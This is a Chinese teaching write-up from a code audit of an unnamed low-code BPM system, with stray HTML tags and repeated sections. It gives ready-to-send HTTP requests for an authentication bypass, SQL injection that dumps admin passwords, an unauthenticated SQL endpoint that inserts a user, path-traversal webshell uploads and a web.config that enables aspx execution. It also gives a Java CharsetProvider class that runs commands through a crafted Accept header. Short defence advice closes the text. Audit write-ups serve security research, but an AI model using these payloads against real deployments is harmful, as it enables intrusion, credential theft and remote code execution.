某低代码BPM系统代码审计分析教学文档<\/h1>

系统概述<\/h2>
某低代码BPM系统存在多个安全漏洞，包括鉴权绕过、SQL注入和文件上传漏洞等。该系统提供.NET和Java两个版本，漏洞原理相似但利用方式略有差异。<\/p>

鉴权机制分析<\/h2>

鉴权流程<\/h3>

路由开始<\/strong>：通过Port_GenerToken(token)<\/code>验证登录状态<\/li>
数据库查询<\/strong>：在数据库中查询token是否存在，查不到则报错<\/li>

辅助验证<\/strong>：Dev2Interface.Port_LoginByToken(token)<\/code>函数也用于验证token<\/li> <\/ol> 未授权访问接口<\/h3> 部分接口无鉴权函数，可获取管理用户信息（不含密码）：<\/p> Port_Emps<\/code> - 获取员工列表<\/li> Port_Emp<\/code> - 获取特定员工信息<\/li> <\/ul> 登录认证流程<\/h3> privateKey生成<\/strong>：前端使用密码加密生成privateKey<\/li> CheckPrivateKey函数<\/strong>：检测userNo是否存在<\/li> 使用自定义加密方式加密userNo+日期+password<\/code><\/li> 对比密文与传入的privateKey<\/li> <\/ul> <\/li> Port_Login<\/strong>：验证成功后获取用户信息<\/li> Port_WriteToken<\/strong>：将erpToken保存到数据库<\/li> <\/ol> 鉴权绕过漏洞<\/h3> 通过路由参数可绕过鉴权：<\/p> \/WF\/Comm\/ProcessRequest?DoType=HttpHandler&DoMethod=ccbpmServices&HttpHandlerName=BP.WF.HttpHandler.WF_WorkOpt <\/code><\/pre> 绕过原理<\/strong>：<\/p> DoType参数指定WF_Comm类中的无参公共方法<\/li> WF_Comm类的HttpHandler函数调用继承DirectoryPageBase类的任意无参公共方法<\/li> DealToken函数先判断请求参数是否存在Token，不存在则返回null，直接绕过鉴权<\/li> <\/ol> SQL注入漏洞<\/h2> 前台SQL注入<\/h3> 未授权接口注入点<\/strong>：<\/p> Port_Depts<\/code> - 直接查询密码<\/li> Port_DeptsJson<\/code><\/li> Port_Emp<\/code><\/li> <\/ul> 利用示例<\/strong>：<\/p> POST<\/span> \/WF\/Demo\/Port_Emp?empNo=admin'+and+updatexml(1,concat(0x7e,(select+group_concat(No,Pass)+from+Port_Emp),0x7e),1)--+ HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span><\/code><\/pre>联合查询获取密码<\/strong>：<\/p> POST<\/span> \/WF\/Demo\/Port_Emp?empNo=admin'+UNION+SELECT+111,1,1,No,Pass+from+Port_Emp--+ HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span><\/code><\/pre>后台SQL注入<\/h3> 存在大量后台SQL注入点，包括：<\/p> getCurrentNode<\/code><\/li> Flow_NodesMark<\/code><\/li> Flow_NodesMarkExt<\/code><\/li> Demo_SFTable_City<\/code><\/li> Demo_SFTable_EmpsByDeptNo<\/code><\/li> CCFast_LastOneMenu<\/code><\/li> Node_SendWorkByMap<\/code><\/li> saveData<\/code>等<\/li> <\/ul> 通用环境SQL注入<\/h3> DBAccess_RunSQL无鉴权执行SQL<\/strong>：<\/p> POST<\/span> \/WF\/Comm\/ProcessRequest?DoType=HttpHandler&DoMethod=DBAccess_RunSQL&HttpHandlerName=BP.WF.HttpHandler.WF_Comm HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span> <\/span><\/span>Content-Disposition: form-data; name="SQL" <\/span><\/span>INSERT INTO Port_Emp (No, Name, PinYin, Pass, FK_Dept, Tel, Email, EmpSta, Idx) <\/span><\/span>VALUES ('test1', 'test1', 'admin,admin,admin\/jtzb', '123456', '100', '0531-82374939', '111@qq.com', '0', '0'); <\/span><\/span><\/code><\/pre>其他前台SQL注入函数<\/strong>：<\/p> Watchdog_Init<\/code><\/li> Watchdog_InitFlows<\/code><\/li> StartEaryer_Init<\/code><\/li> Search_Count<\/code><\/li> Author_InitLeft<\/code><\/li> Author_InitDocs<\/code><\/li> AiFrm_SaveAttrsExt<\/code><\/li> AiFrm_IconSave<\/code><\/li> Menu_Start_SpecFlow<\/code><\/li> WF_Admin_AttrNode.cs<\/code><\/li> <\/ul> 文件上传漏洞<\/h2> 后台文件上传<\/h3> upload函数特征<\/strong>：<\/p> 获取文件名时以最后一个\/<\/code>为基准（..\/..\/<\/code>会被排除）<\/li> 替换空格，无其他过滤措施<\/li> 空格可用于绕过WAF<\/li> <\/ul> 利用技巧<\/strong>：使用路径遍历绕过限制<\/p> filename="\/ \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \ . . \ \55.a s p x" <\/code><\/pre> 前台文件上传漏洞点<\/h3> 漏洞点一<\/strong>：Knowledge_UploadFile_MinAth<\/code><\/p> POST<\/span> \/WF\/Comm\/ProcessRequest?DoType=HttpHandler&DoMethod=Knowledge_UploadFile_MinAth&HttpHandlerName=BP.CCOA.HttpHandler.CCOA_Knowledge HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span><\/code><\/pre>漏洞点二<\/strong>：类似漏洞点一，无鉴权和过滤<\/p> 漏洞点三<\/strong>：Entity_Upload<\/code><\/p> POST<\/span> \/WF\/Comm\/ProcessRequest?DoType=HttpHandler&DoMethod=Entity_Upload&HttpHandlerName=BP.WF.HttpHandler.WF_CommTS HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span><\/code><\/pre>漏洞点四<\/strong>：UploadFile<\/code><\/p> POST<\/span> \/WF\/Comm\/ProcessRequest?DoType=HttpHandler&DoMethod=UploadFile&HttpHandlerName=BP.WF.HttpHandler.WF_TSDev2Interface HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span><\/code><\/pre>IIS环境getshell技巧<\/h3> 环境差异<\/strong>：<\/p> VS2022启动：SQL注入有回显<\/li> IIS启动：默认无回显，需使用联合注入<\/li> <\/ul> getshell步骤<\/strong>：<\/p> 获取密码<\/strong>：通过SQL注入获取管理员密码<\/li> 生成privateKey<\/strong>：使用加密脚本将密码加密<\/li> 添加token<\/strong>：利用privateKey添加有效token<\/li> 上传web.config<\/strong>：配置解析aspx文件<\/li> <\/ol> 加密脚本<\/strong>：<\/p> import<\/span> hashlib <\/span><\/span> <\/span><\/span>def<\/span> md52x_encrypt<\/span>(encrypt_string: str) -><\/span> str: <\/span><\/span> encoded_bytes =<\/span> encrypt_string.<\/span>encode('utf-8'<\/span>) <\/span><\/span> md5_hash =<\/span> hashlib.<\/span>md5(encoded_bytes).<\/span>digest() <\/span><\/span> s_builder =<\/span> ""<\/span> <\/span><\/span> for<\/span> byte in<\/span> md5_hash: <\/span><\/span> s_builder +=<\/span> f<\/span>"<\/span>{<\/span>byte:<\/span>02X<\/span>}<\/span>"<\/span> <\/span><\/span> return<\/span> s_builder <\/span><\/span> <\/span><\/span>def<\/span> gener_md5<\/span>(s: str, islower: bool =<\/span> False<\/span>) -><\/span> str: <\/span><\/span> # 具体实现参考原文加密逻辑<\/span> <\/span><\/span> pass<\/span> <\/span><\/span><\/code><\/pre>web.config配置<\/strong>：<\/p> <?xml version="1.0" encoding="utf-8"?><\/span> <\/span><\/span><configuration><\/span> <\/span><\/span> <system.webServer><\/span> <\/span><\/span> <handlers><\/span> <\/span><\/span> <remove<\/span> name=<\/span>"aspNetCore"<\/span> \/><\/span> <\/span><\/span> <remove<\/span> name=<\/span>"PageHandlerFactory-Integrated-4.0"<\/span> \/><\/span> <\/span><\/span> <add<\/span> name=<\/span>"PageHandlerFactory-Integrated-4.0"<\/span> <\/span><\/span> path=<\/span>"*.aspx"<\/span> <\/span><\/span> verb=<\/span>"GET,HEAD,POST,DEBUG"<\/span> <\/span><\/span> type=<\/span>"System.Web.UI.PageHandlerFactory"<\/span> <\/span><\/span> resourceType=<\/span>"Unspecified"<\/span> <\/span><\/span> preCondition=<\/span>"integratedMode,runtimeVersionv4.0"<\/span> \/><\/span> <\/span><\/span> <\/handlers><\/span> <\/span><\/span> <\/system.webServer><\/span> <\/span><\/span><\/configuration><\/span> <\/span><\/span><\/code><\/pre>前提条件<\/strong>：IIS应用程序池需要设置.NET CLR，如果设置为无代码托管则无法解析aspx<\/p> Java版本漏洞<\/h2> 文件上传漏洞<\/h3> 漏洞原理与.NET版相同<\/li> 利用路径截断最后一个\/<\/code>作为文件名<\/li> 可使用\<\/code>绕过过滤措施<\/li> <\/ul> Spring Boot RCE利用<\/h3> 利用SPI机制命令执行<\/strong>：<\/p> 创建恶意文件<\/strong>：<\/li> <\/ol> package<\/span> sun.nio.cs.evil;<\/span> <\/span><\/span> <\/span><\/span>import<\/span> java.io.IOException;<\/span> <\/span><\/span>import<\/span> java.nio.charset.Charset;<\/span> <\/span><\/span>import<\/span> java.util.HashSet;<\/span> <\/span><\/span>import<\/span> java.util.Iterator;<\/span> <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> Evil<\/span> extends<\/span> java.<\/span>nio<\/span>.<\/span>charset<\/span>.<\/span>spi<\/span>.<\/span>CharsetProvider<\/span> {<\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> public<\/span> Iterator<<\/span>Charset><\/span> charsets<\/span>()<\/span> {<\/span> <\/span><\/span> return<\/span> new<\/span> HashSet<<\/span>Charset>().<\/span>iterator<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> public<\/span> Charset charsetForName<\/span>(<\/span>String charsetName)<\/span> {<\/span> <\/span><\/span> if<\/span> (<\/span>charsetName.<\/span>startsWith<\/span>(<\/span>"Evil"<\/span>))<\/span> {<\/span> <\/span><\/span> try<\/span> {<\/span> <\/span><\/span> Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"cmd \/c calc"<\/span>);<\/span> <\/span><\/span> }<\/span> catch<\/span> (<\/span>IOException e)<\/span> {<\/span> <\/span><\/span> e.<\/span>printStackTrace<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> }<\/span> <\/span><\/span> return<\/span> Charset.<\/span>forName<\/span>(<\/span>"UTF-8"<\/span>);<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre> 创建SPI配置文件<\/strong>：java.nio.charset.spi.CharsetProvider<\/code><\/li> <\/ol> sun.nio.cs.evil.Evil <\/code><\/pre> 文件部署<\/strong>：<\/li> <\/ol> Evil.class放置到：JRE_HOME\/classes\/sun\/nio\/cs\/evil\/<\/code><\/li> CharsetProvider放置到：JRE_HOME\/classes\/META-INF\/services\/<\/code><\/li> <\/ul> 触发执行<\/strong>：<\/li> <\/ol> GET<\/span> \/WF\/API\/DTS_ExecuteTimeTrigger HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Accept:<\/span> text\/html;charset=Evil0a0a0a1;<\/span> <\/span><\/span><\/code><\/pre>限制条件<\/strong>：需要知道Java安装路径，且web服务启动路径与Java安装路径在同一盘符<\/p> 防御建议<\/h2> 鉴权加固<\/strong>：所有接口都应实施严格的鉴权机制<\/li> 输入验证<\/strong>：对用户输入进行严格过滤和验证<\/li> SQL防护<\/strong>：使用参数化查询，避免SQL注入<\/li> 文件上传限制<\/strong>：限制上传文件类型，实施内容检查<\/li> 路径安全<\/strong>：规范文件路径处理，防止路径遍历<\/li> 错误处理<\/strong>：避免详细错误信息泄露系统信息<\/li> <\/ol> 总结<\/h2> 该低代码BPM系统存在严重的安全漏洞，攻击者可通过鉴权绕过、SQL注入和文件上传漏洞获取系统权限。建议用户及时更新补丁，并按照防御建议加强系统安全防护。<\/p>

某低代码BPM系统代码审计分析教学文档<\/h1>

系统概述<\/h2> 某低代码BPM系统存在多个安全漏洞，包括鉴权绕过、SQL注入和文件上传漏洞等。该系统提供.NET和Java两个版本，漏洞原理相似但利用方式略有差异。<\/p>

鉴权机制分析<\/h2>

SQL注入漏洞<\/h2>

文件上传漏洞<\/h2>

总结<\/h2> 该低代码BPM系统存在严重的安全漏洞，攻击者可通过鉴权绕过、SQL注入和文件上传漏洞获取系统权限。建议用户及时更新补丁，并按照防御建议加强系统安全防护。<\/p>

系统概述<\/h2>
某低代码BPM系统存在多个安全漏洞，包括鉴权绕过、SQL注入和文件上传漏洞等。该系统提供.NET和Java两个版本，漏洞原理相似但利用方式略有差异。<\/p>

总结<\/h2>
该低代码BPM系统存在严重的安全漏洞，攻击者可通过鉴权绕过、SQL注入和文件上传漏洞获取系统权限。建议用户及时更新补丁，并按照防御建议加强系统安全防护。<\/p>